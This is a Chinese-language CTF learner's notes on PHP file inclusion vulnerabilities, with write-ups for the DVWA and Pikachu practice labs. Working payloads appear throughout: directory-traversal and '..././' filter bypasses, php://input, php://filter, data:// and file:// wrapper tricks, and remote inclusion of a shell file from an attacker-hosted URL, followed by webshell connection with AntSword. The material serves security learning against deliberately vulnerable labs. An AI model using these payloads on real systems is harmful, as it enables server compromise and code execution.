文件包含漏洞(包含DVWA Pikachu靶场题目的WP)
叠甲申明:CTF小白学习日记和笔记,如果笔记有错误,不清楚的地方请师傅们一定批评指出!!!我现在处于很菜鸡的阶段,很渴望师傅们的教导,希望师傅们能够不吝啬自己的批评,非常感谢!!
1.什么是文件包含漏洞
我们来看一段代码就知道了

这是最基本的一种文件包含的操作,也就是跟我们c语言的#include 的操作差不多,有些代码很重要需要重复使用在各个文件里面,这个时候我们就专门将这种代码封装为一个文件包含起来,要使用的时候就直接include(文件名就行,当然得是同目录下才能调用)
文件包含漏洞的一个大的方面就是这些include类似作用的函数产生的漏洞,它在执行它参数里面的文件时是不会去看这个文件是什么后缀名的,而是直接执行它里面的内容,只要是php内容格式没错就会去执行,我们也是利用这一特性来进行操作的
下面列举几个常用的文件包含的操作:
include() 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require() 程序运行就包含文件,找不到文件产生错误,脚本停止
include_once()
require_once()
和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含
这几个函数我们之后会经常用到
2.文件包含的类型
文件包含漏洞的类型大致可以分为两种,一种是本地文件包含漏洞 一种是远程文件包含漏洞
如何去区分这两个漏洞?最简单的方法就是看看 php.ini的配置文件中有没有将allow_url_include开启,如果有,那我们就有可能进行文件远程包含的操作,如果没有 也就是allow_url_include处于off状态,那我们只能用本地的文件包含去执行了
1.本地文件包含
本地文件包含就是通过游览器来包含我们web服务器上的文件,从而达到启用目标文件的目的,一般这个时候漏洞产生的原因就是没有进行严格的过滤。
本地文件包含去查找执行我们的木马文件的时候有两种操作
1.
一种是同目录下的直接查找
?file=test.txt
另一种是目录遍历的查找
?file=./../../test.txt
其中,./表示当前目录 ../表示上一级目录
2.包含日志
大部分情况下,web服务器会把请求写入到日志文件中,apache就会这么做,当用户发起请求时,会将请求写入access.log这个文件,当发生错误时将错误写入error.log的文件 默认情况下日志的保存路径是var/log/apache2
3.有防御的本地文件包含
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
这段代码指定了前缀和后缀,就已经很难可以去包含前面提到的文件了
但还是有方法去绕过的
%00截断
其实00截断的场景在日常生产实际已经很少见了,它的原理是这样的:php本身的内核是由C语言去实现的,有些C语言处理字符串的方式也就沿用了C的方式,比如\0当作字符串的结尾这一设定也沿用了下来,我们传入的文件名也是一段字符串,当我们的文件开始创建文件名时,%00后面的内容就会被全部阶段掉,只保留我们前面的内容
但是00截断的条件使用十分苛刻
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
还有几种截断的方法由于条件使用极为苛刻,就不再重复赘述
2.远程文件包含
重点学习php伪协议的使用
1.构造URL绕过
构造URL 利用?截断的技术我们先码住,水平到了再来理解复现
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23
/?path=http://localhost/test/solution.php?
最终结果产生了如下效果
require_once "http://localhost/test/solution.php?/action/m_share.php";
2.php伪协议的绕过
1.php流input
使用条件:
1、allow_url_include = On。
2、对 allow_url_fopen 不做要求。
提交方式必须得是POST提交
index.php?file=php://input
POST:
<? phpinfo();?>
使用实例如上 效果如下

<? php
$ file = $ _GET ['file'];
include ($ file);
?>
当我们在当前php文件夹种创建或者上传一个flag.php的文件,我们就可以通过get传参的方法传入我们的flag.php文件,从而实现我们flag.php的功能
当然,不止除了我们同一文件夹下的文件,其他文件夹,即使是C盘里的文件夹它也是可以读取出来的,这些都是在你们完全拥有控制改页面的权力,并且文件类型没有进一步过滤时才有效。
让我们换一种文件包含使用的案例
<?php
$file = $_GET['file'] . '.php';
echo $file;
include($file);
主要是第二行的.php的操作,将我们的php后缀给添加上去了,导致我们无法正常读取到我们想要的文件
这样的防御代码也是很容易攻破的,我们可以采用%00截断的方式,这个截断方式是根据windows本身的对于数据流的看待的问题,文件上传中已经讲过了,就是通过1.php%00的类似的形式,将后面的字符串失效,因为windows读到%00就认定后面没有了字符了,就不读取了
当然%00是有使用条件的
1.PHP版本<5.3(不包括5.3);
2. PHP magic_quotes_gpc = off
; 要在php.ini中去设置
其实我们在写文件上传漏洞的时候就是运用到的文件远程包含的漏洞,其原理就是上传我们用户自己提交的文件,然后通过有include操作的脚本页面对我们上传的shell进行读取和使用
前提条件是
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php
第一点是我们php的设置问题暂且不提,主要是第二点如何去理解?
假如说我们的远程文件有.php的后缀,然后我们的这个远程文件的内容是<? php phpinfo ();>
现在我不上传文件到服务器本地的文件夹,我直接令file=自己的这个URL所对应的文件shell
先在我自己的本地上执行以下试试

然后将我本地的这个使用shell的URL赋值到file的内容让目标服务器(目标服务器使用的php是5.2版本)来解析并作用我们的shell,发现结果还是5.6的php,还是我们自己的本地的php版本,并没有去解析它服务器本地php版本

所以我们要将我们的allow_url_include = on和allow_url_fopen= on打开
然后还要将我们的上传的文件后缀改为不一样的后缀,就比如说改为我们的txt文本文件

修改之后再去执行,发现成功了
其实我们的include函数是不会看你的文件后缀名的,它只会去解析你文件里面的内容,是php的内容就会解析出来
但是题目有时候是不会给你开include函数的,需要你用其他方法去执行你的php木马
所以我们总结一下,如果要使用远程文件包含就必须要符合服务器本地文件的包含前提,而且不能是同一语言(其实就是后缀)
4.DVWA靶场 文件包含部分
1.LOW
1.本地文件包含
此时我们已经打开了
function allow_url_include(允许远程文件包含)
function allow_url_fopen(允许将URL当作文件来看待)
这两个一打开我们无论是本地文件包含还是远程文件包含都能做了
关键点就是function allow_url_include的开启,它允许我们能够将本地的文件内容放到服务器上去执行(一般情况下是关的)
这里我们有几个方法可以去利用这个漏洞
1.文件上传和文件包含的同时运用
这里我们先在fileupload上传一个我们的木马文件,内容如下

然后再在low等级里面直接上传我们shell文件

复制一下路径,然后回到文件包含题目界面,构造如下payload
http://www.dvwa.com/vulnerabilities/fi/?page=../../hackable/uploads/shell2.txt
这里为什么是shell2.txt,因为我们的include函数不会去看我们文件的后缀名什么的,它会直接读取我们文件里面的内容去把它解析,如果是php代码的话就会直接执行
再用蚁剑连一下

这就是本地的文件包含的基本步骤,当然前提是服务器的本地有我们上传的shell环境才能成功该方法,下面介绍远程文件包含
2.远程文件包含的方法
远程文件包含的前提是必须打开function allow_url_include =on 这样系统才能将我们本机攻击机的文件inclue出来

首先在我们的www目录下创建一下shell.txt的网址内容

然后再去网站上访问一下记录下我们的URL,开始行动
在文件上传页面对page构造如下payload
www.dvwa.com/vulnerabilities/fi/?page=http://www.caogao.com/shell2.txt
到界面之后也是同样的步骤就可以完成
2.MID

试了试三个页面发现还是page值可以传,那我们先试试我们自己上传的shell界面能不能访问得到
发现出错了,访问不了,我们看一下源码
1.本地文件包含方式
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
它把我们的远程包含和本地包含的一些URL构造的特征给去掉了,只允许在它同一文件夹下的路径进行文件包含,但是他储存文件的地方又与它执行文件的地方不在同一个地方
所以我们要进行一些绕过,才能实现目的
对于本地的绕过的话我们构造如下payload进行绕过
可以看到..././..././再经过防御代码的删减之后就是我们所剩下的../../形式
幸亏它不删./,不然还真构造不了
http://www.dvwa.com/vulnerabilities/fi/?page=..././..././hackable/uploads/shell3.txt
看看结果,还是挺不错的

在网上找了找DVWA的攻略,原来是有flag的
http://www.dvwa.com/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/flags/fi.php
我们通过这个本地的绝对路径去找flag 当然这是根据报错所提供的flag的地址,这串代码的结果就是让我们获得了flag网址的源码的base64形式,我们放到base64解码看一下

<?php
if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
exit ("Nice try ;-). Use the file include next time!");
?>
1.) Bond. James Bond
<?php
echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";
$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );
?>
<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
之后要找寻信息的话我们可以就是按照这个目的去找flag
2.远程文件包含方式
有两种方式的URL的绕过
1.
http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>');?>
2.
http://www.dvwa.com/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>
因为系统替换了http的字符,data啥的伪协议没有去掉,也是可以使用的
3.HIGH
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
我们首先来看看源码,这里有一个fnmatch函数,我们先来介绍一下
这个函数主要是为了匹配指定字符串与我们的通配符字符串是否符合条件。什么是通配符?
就是* ?这两个符号,而我们的file*就表示通配符字符串,它代表着一系列字符串,比如filea fileb 或者fileabeec
多个字符的替换也行,而我们的?则只能表示一个字符的替换,比如fli?e,就只能fiale,filbe,等等单个字符不同的字符串组,而我们的函数就是为了通配符函数判断才有的
那这题的防御就是我们如果不是file1 file2 filexxx等等的文件是不会有绕过机会给你绕过的
那这个时候我们是不是想到了一个伪协议 就是我们的file://协议,它正好满足我们的file通配符要求
那我们使用file协议之前要了解它的具体功能
他能访问我们服务器的本地文件,而且不受allow_url_fopen,allow_url_include的影响
需要绝对路径相对路径或者网络路径才能使用
那根据规则我们直接构造payload 也不用去考虑防御代码的过滤了,file伪协议本身就自带file,可以绕过
我们上面找到过绝对路径 复制下来重复使用
1.本地文件包含
file://E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/flags/fi.php

成功了找到了flag,那我们试试执行自己的脚本看看,构造我们脚本的本地文件的payload
file://E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/uploads/shell3.txt
也是成功访问

这是本地文件包含的绕过方法,主要是要对路径搞清楚,能知道绝对路径当然更好,构造相对路径也行
2.远程文件包含
整体思路还是要用到我们的file协议去启动到我们的shell界面,然后再去蚁剑连
5.pikachu靶场 文件包含部分
1.本地文件包含


无论我们选哪种图片都是这个格式,说明是可以运用文件包含这个注入点的。
输入filename=5.php 看看有没有错误爆出路径,还真有,我们保存一下,之后可能会用到

E:\somephp\php\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\fi_local.php

我们随便传一个文件名看看(shell3.txt)前面莫名奇妙多了个include 看来它前面限定了我们传上来的路径必须包含在include文件夹里面,绝对路径肯定用不了了,我们只能试试相对路径
http://www.pikachu.com/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/shell3.txt&submit=1
上述为构造的payload 这边要猜一下,我们之前皮卡丘的文件上传的存入路径和我们文件包含的路径是在同一个大的文件夹下的,可以再去重试一下我们文件上传时的那个图片的储存路径就可以大概猜出我们的shell文件的位置
再看看蚁剑连一下
密码是a,成功连接
2.远程文件包含
我们的远程文件的payload先码一下
http://www.caogao.com/shell3.txt
然后向这样传入值,就可以远程执行我们自己的木马了
http://www.pikachu.com/vul/fileinclude/fi_remote.php?filename=http://www.caogao.com/shell3.txt&submit=1
还是拿蚁剑连一下
成功
做完这么多题我觉得还是要弄清楚远程文件包含和本地文件包含的区别以及他们的使用条件
最终还要结合文件上传与文件包含去做题,光做这几个靶场是远远不够的,最多只是帮我们建立起最基础的概念和做题方法,还是得去别的地方多做题,多总结